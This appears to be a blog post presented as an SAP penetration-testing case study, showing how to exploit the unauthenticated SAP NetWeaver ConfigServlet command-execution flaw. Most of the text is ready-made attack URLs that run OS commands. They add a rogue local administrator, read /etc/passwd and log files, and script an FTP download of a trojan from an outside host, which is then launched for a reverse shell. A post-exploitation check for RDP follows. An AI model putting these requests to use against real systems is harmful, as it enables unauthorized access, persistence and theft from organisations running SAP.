Penetration Testing SAP Systems: A Real-World Case Study II

The following tools are required to perform pentesting on SAP ABAP systems, available for both Windows and Linux (Kali)

  • Nmap: For network discovery and security auditing.
  • Metasploit: For penetration testing.
  • BurpSuite: Web Application Penetration Testing

The first step is identifying a target, which can be accomplished using the Nmap tool with the following command.

nmap –vv –sV –p 5000 IP

Once the objective is identified, the next step is to check if it has the following path /irj/portal/ to proceed with this action. The Burp Suite will be used.

http://xxxx.xxx:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig

To execute a different command, modify the request to include the desired command. For example, to create a new user within the OS, you would have to run the following commands:

  • net user
  • net user tx1admin P4ssw0rd123@ /add
  • net localgroup Administrators tx1admin /add
  • net localgroup Administrators
http://xxxx.xxx:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=net user

http://xxxx.xxx:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=net user tx1admin P4ssw0rd123@ /add

http://xxxx.xxx:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=net localgroup Administrators tx1admin /add
use auxiliary/admin/sap/sap_configservlet_exec_noauth
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c type c:\"Documents and Settings"\pd7adm\sqlnet.log
http://xxxx.xxx:50000/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cat /etc/passwd

http://xxxx.xxx:50100/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=whoami

Several options are available to obtain a reverse shell. In this blog, we’ll use the CANVAS exploitation framework to create a reverse connection trojan. One of the first steps is to install and configure an FTP server to host the trojan we’ve just created.
FTP examples Pure-FTP or Proftpd

Once you have obtained both the FTP server and the Trojan, upload it to the SAP server (NetWeaver) using the FTP protocol, specifically with a text file (ftp.txt), which you can achieve with the following commands.

http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c echo open xxx.xxx.xxx.xxx 21> ftp.txt
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c echo ftpuser>> ftp.txt
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c echo ftpuser>> ftp.txt
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c echo binary >> ftp.txt
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c echo get tiger.exe >> ftp.txt
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c echo bye >> ftp.txt

To verify that our file called ftp.txt has been successfully uploaded, the following commands is executed.

http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c dir
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c type ftp.txt
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c ftp -s:ftp.txt
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c dir
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c systeminfo | findstr /I type:
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c tiger.exe

Post Exploitation

http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c netstat -an |find "3389"
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c netstat -an |find "3389"
Share the Post:

Table of Contents

Subscribe To Our Blog

Light